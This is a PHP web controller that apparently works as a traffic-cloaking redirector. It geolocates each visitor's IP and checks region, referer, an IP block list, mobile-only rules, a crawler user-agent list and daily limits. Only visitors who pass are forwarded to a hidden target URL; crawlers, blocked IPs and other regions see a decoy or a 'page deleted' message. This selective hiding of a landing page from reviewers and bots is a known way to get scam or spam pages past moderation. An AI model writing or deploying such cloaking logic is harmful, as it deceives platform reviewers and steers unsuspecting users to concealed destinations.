<?php
namespace app\index\controller;
use app\common\exception\BaseException;
use Intervention\Image\ImageManager;
use Intervention\Image\ImageManagerStatic as Image;
use think\facade\Env;
use think\Db;

class Index extends Api
{
    private $addr = '';
    function isMobile(){
		// 如果有HTTP_X_WAP_PROFILE则一定是移动设备
		if (isset ($_SERVER['HTTP_X_WAP_PROFILE']))
			return true;
	 
		//此条摘自TPM智能切换模板引擎，适合TPM开发
		if(isset ($_SERVER['HTTP_CLIENT']) &&'PhoneClient'==$_SERVER['HTTP_CLIENT'])
			return true;
		//如果via信息含有wap则一定是移动设备,部分服务商会屏蔽该信息
		if (isset ($_SERVER['HTTP_VIA']))
			//找不到为flase,否则为true
			return stristr($_SERVER['HTTP_VIA'], 'wap') ? true : false;
		//判断手机发送的客户端标志,兼容性有待提高
		if (isset ($_SERVER['HTTP_USER_AGENT'])) {
			$clientkeywords = array(
				'nokia','sony','ericsson','mot','samsung','htc','sgh','lg','sharp','sie-','philips','panasonic','alcatel','lenovo','iphone','ipod','blackberry','meizu','android','netfront','symbian','ucweb','windowsce','palm','operamini','operamobi','openwave','nexusone','cldc','midp','wap','mobile'
			);
			//从HTTP_USER_AGENT中查找手机浏览器的关键字
			if (preg_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($_SERVER['HTTP_USER_AGENT']))) {
				return true;
			}
		}
		//协议法，因为有可能不准确，放到最后判断
		if (isset ($_SERVER['HTTP_ACCEPT'])) {
			// 如果只支持wml并且不支持html那一定是移动设备
			// 如果支持wml和html但是wml在html之前则是移动设备
			if ((strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') !== false) && (strpos($_SERVER['HTTP_ACCEPT'], 'text/html') === false || (strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') < strpos($_SERVER['HTTP_ACCEPT'], 'text/html')))) {
				return true;
			}
		}
		return false;
	}
	
	
	public function _initialize(){
		if($this->isMobile()){
			return redirect("/Wap/Index/index");
		}
    }


    public function index()
    {

        $server = $_SERVER;
        $is_jump = false;
        $num = 1;
//        dump( $this->convertip('219.137.53.127') );exit();
        if( !isset($server['SERVER_NAME']) && empty($server['SERVER_NAME']) ){
            echo '页面已删除!';exit();
        }

        $info = Db::name('scurl')->where('tg_url',$server['SERVER_NAME'])->find();
        if( !$info ){
            echo '您来迟了，页面已删除！';exit();
        }
//        $referer = $server['HTTP_REFERER'];
        $tg_url = str_replace('.','_',$info['tg_url']);
        $db_url_log = $tg_url.'_log';

        if( $this->check_addr($server['REMOTE_ADDR'], $info['kill_addr']) ){
            $is_jump = true;
        } else {
            $is_jump = false;
        }

        if( !empty( $info['jump_url'] ) ){
            $is_jump = false;
            if( isset($server['HTTP_REFERER']) || !empty($server['HTTP_REFERER']) ){
                if( strripos( $server['HTTP_REFERER'], $info['jump_url'] ) ) $is_jump = true;
            }
        }

        // 查询是否限制访问ip
        if($this->checkKillIp($server['REMOTE_ADDR'])){
            $is_jump = false;
//                return redirect("/wap/Index/index");
        }

        if( $info['is_mobile'] ){
            // 判断是否手机访问
            if(!$this->isMobile()){
                $is_jump = false;
//                return redirect("/wap/Index/index");
            }
        }

        if( $is_jump && $this->check_ua() ){
            $is_jump = false;
        }

        if( $info['day_limit'] && !empty($server['REMOTE_ADDR']) ){
            $time = strtotime(date('Y-m-d',time()));
            $url_log = Db::name($db_url_log)->where('ip',$server['REMOTE_ADDR'])->where('created_time','>',$time)->order('id desc')->find();
            if( $url_log ){
                $num = $url_log['num'] + 1;
            }
            if( $url_log['num'] < $info['day_limit'] ){

            } else {
                $is_jump = false;
            }
        } else {
            $is_jump = false;
        }

        if( !empty($server['REMOTE_ADDR']) ) {
            $new_data = [
                'addr' => $this->addr,
                'ip' => $server['REMOTE_ADDR'],
                'created_time' => time(),
                'is_jump' => $is_jump ? 1 : 0,
                'num' => $num,
                'keywords'=>'',
            ];

            Db::name($db_url_log)->insert($new_data);
        }
        if( $is_jump ) header('Location:'.$info['tz_url']);

        $this->assign('tg_url1','Public/'.$tg_url);
        $this->assign('tg_url',$info['tg_url']);
        $this->assign('tmp','http://jt.osd-asia.com//');
        return $this->fetch("Index/index");

    }

    // 检测是否爬虫
    public function check_ua(){
        $ua = $_SERVER['HTTP_USER_AGENT'];
        $now_ua = array('FeedDemon ','BOT/0.1 (BOT for JCE)','CrawlDaddy ','Java','Feedly','UniversalFeedParser','ApacheBench','Swiftbot','ZmEu',
                        'Indy Library','oBot','jaunty','YandexBot','AhrefsBot','MJ12bot','WinHttp','EasouSpider','HttpClient','Microsoft URL Control',
                        'YYSpider','jaunty','Python-urllib','lightDeckReports Bot'
                    );
        if(!$ua) {
            return true;  // 没有浏览器头信息
        }else{
            foreach($now_ua as $value )
            //判断是否是数组中存在的UA  没有浏览器头信息是否爬虫头
                if(stristr($ua,$value)) {
                    return true;  // 是爬虫
                }
        }
        return false;
    }

    public function checkKillIp( $ip ){
        $ip_all = Db::name('ipconfig')->where('status',1)->field('ip')->select();
        foreach( $ip_all as $item ){
            if( $item['ip'] == $ip ){
                return true;
                break;

            }
        }
        return false;
    }

    public function check_addr( $ip, $addr ){
        if( empty( $addr ) ) return true;
        $addr = json_decode(html_entity_decode($addr));
        $ip_addr =  $this->convertip($ip);
        if( $ip_addr === false ){
            return false;
        }
        $this->addr = $ip_addr;
        foreach( $addr as $item ){
            if( strripos( $ip_addr, $item ) ){
                return false;
            }
        }
        return true;
    }

    public function convertip($ip,$integrity='simple'){

        $return='';

        $integrity=in_array($integrity,array('simple','full'))?$integrity:'simple';

        if(preg_match("/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/",$ip)){

            $iparray=explode('.',$ip);

            if($iparray[0]==10||$iparray[0]==127||($iparray[0]==192&&$iparray[1]==168)||($iparray[0]==172&&($iparray[1]>=16&&$iparray[1]<=31))){

//                $return = '- LAN';
                $return = false;

            }elseif($iparray[0]>255||$iparray[1]>255||$iparray[2]>255||$iparray[3]>255){

//                $return='- Invalid IP Address';
                $return = false;
            }else{

//                $tinyipfile=WEB_ROOT.'./tinyipdata.dat';//IP==地址数据包精简版

                $fullipfile='./static/UTFWryutf8.dat';//IP==地址数据包完整版
//                if($integrity=='simple'&&@file_exists($tinyipfile)){
//
//                    $return=convertip_tiny($ip,$tinyipfile);
//
//                }elseif(@file_exists($fullipfile)){

                    $return=$this->convertip_full($ip,$fullipfile);

//                }
            }
        }

        return $return;
    }

    public function convertip_full($ip,$ipdatafile){

        if(!$fd=@fopen($ipdatafile,'rb')){

//            return '- Invalid IP data file';
            return false;
        }

        $ip=explode('.',$ip);

        $ipNum=$ip[0]*16777216+$ip[1]*65536+$ip[2]*256+$ip[3];

        if(!($DataBegin=fread($fd,4))||!($DataEnd=fread($fd,4))) return;

        @$ipbegin=implode('',unpack('L',$DataBegin));

        if($ipbegin<0) $ipbegin+=pow(2,32);

        @$ipend=implode('',unpack('L',$DataEnd));

        if($ipend<0) $ipend+=pow(2,32);

        $ipAllNum=($ipend-$ipbegin)/7+1;

        $BeginNum=$ip2num=$ip1num=0;

        $ipAddr1=$ipAddr2='';

        $EndNum=$ipAllNum;

        while($ip1num>$ipNum||$ip2num<$ipNum){

            $Middle= intval(($EndNum+$BeginNum)/2);

            fseek($fd,$ipbegin+7*$Middle);

            $ipData1=fread($fd,4);

            if(strlen($ipData1)<4){

                fclose($fd);

//                return '- System Error';
                return false;
            }

            $ip1num=implode('',unpack('L',$ipData1));

            if($ip1num<0) $ip1num+=pow(2,32);

            if($ip1num>$ipNum){

                $EndNum=$Middle;

                continue;

            }

            $DataSeek=fread($fd,3);

            if(strlen($DataSeek)<3){

                fclose($fd);

//                return '- System Error';
                return false;
            }
            $DataSeek=implode('',unpack('L',$DataSeek.chr(0)));
            fseek($fd,$DataSeek);
            $ipData2=fread($fd,4);
            if(strlen($ipData2)<4){
                fclose($fd);
//                return '- System Error';
                return false;
            }
            $ip2num=implode('',unpack('L',$ipData2));

            if($ip2num<0) $ip2num+=pow(2,32);

            if($ip2num<$ipNum){

                if($Middle==$BeginNum){

                    fclose($fd);

//                    return '- Unknown';
                    return false;
                }

                $BeginNum=$Middle;
            }
        }

        $ipFlag=fread($fd,1);

        if($ipFlag==chr(1)){

            $ipSeek=fread($fd,3);

            if(strlen($ipSeek)<3){

                fclose($fd);

//                return '- System Error';
                return false;

            }

            $ipSeek=implode('',unpack('L',$ipSeek.chr(0)));

            fseek($fd,$ipSeek);

            $ipFlag=fread($fd,1);

        }

        if($ipFlag==chr(2)){

            $AddrSeek=fread($fd,3);

            if(strlen($AddrSeek)<3){

                fclose($fd);

//                return '- System Error';
                return false;
            }

            $ipFlag=fread($fd,1);

            if($ipFlag==chr(2)){

                $AddrSeek2=fread($fd,3);

                if(strlen($AddrSeek2)<3){

                    fclose($fd);

//                    return '- System Error';
                    return false;
                }

                $AddrSeek2=implode('',unpack('L',$AddrSeek2.chr(0)));

                fseek($fd,$AddrSeek2);

            }else{

                fseek($fd,-1,SEEK_CUR);

            }

            while(($char=fread($fd,1)) != chr(0))

                $ipAddr2 .= $char;

            $AddrSeek=implode('',unpack('L',$AddrSeek.chr(0)));

            fseek($fd,$AddrSeek);

            while(($char=fread($fd,1)) != chr(0))

                $ipAddr1 .= $char;

        }else{

            fseek($fd,-1,SEEK_CUR);

            while(($char=fread($fd,1)) != chr(0))

                $ipAddr1 .= $char;

            $ipFlag=fread($fd,1);

            if($ipFlag==chr(2)){

                $AddrSeek2=fread($fd,3);

                if(strlen($AddrSeek2)<3){

                    fclose($fd);

//                    return '- System Error';
                    return false;
                }

                $AddrSeek2=implode('',unpack('L',$AddrSeek2.chr(0)));

                fseek($fd,$AddrSeek2);

            }else{

                fseek($fd,-1,SEEK_CUR);

            }

            while(($char=fread($fd,1)) != chr(0))

                $ipAddr2 .= $char;
        }

        fclose($fd);

        if(preg_match('/http/i',$ipAddr2)){

            $ipAddr2='';

        }

        $ipaddr="$ipAddr1 $ipAddr2";

        $ipaddr=preg_replace('/CZ88\.NET/is','',$ipaddr);

        $ipaddr=preg_replace('/^\s*/is','',$ipaddr);

        $ipaddr=preg_replace('/\s*$/is','',$ipaddr);

        if(preg_match('/http/i',$ipaddr)||$ipaddr==''){

            $ipaddr='- Unknown';

        }

        return '- '.$ipaddr;

    }


}
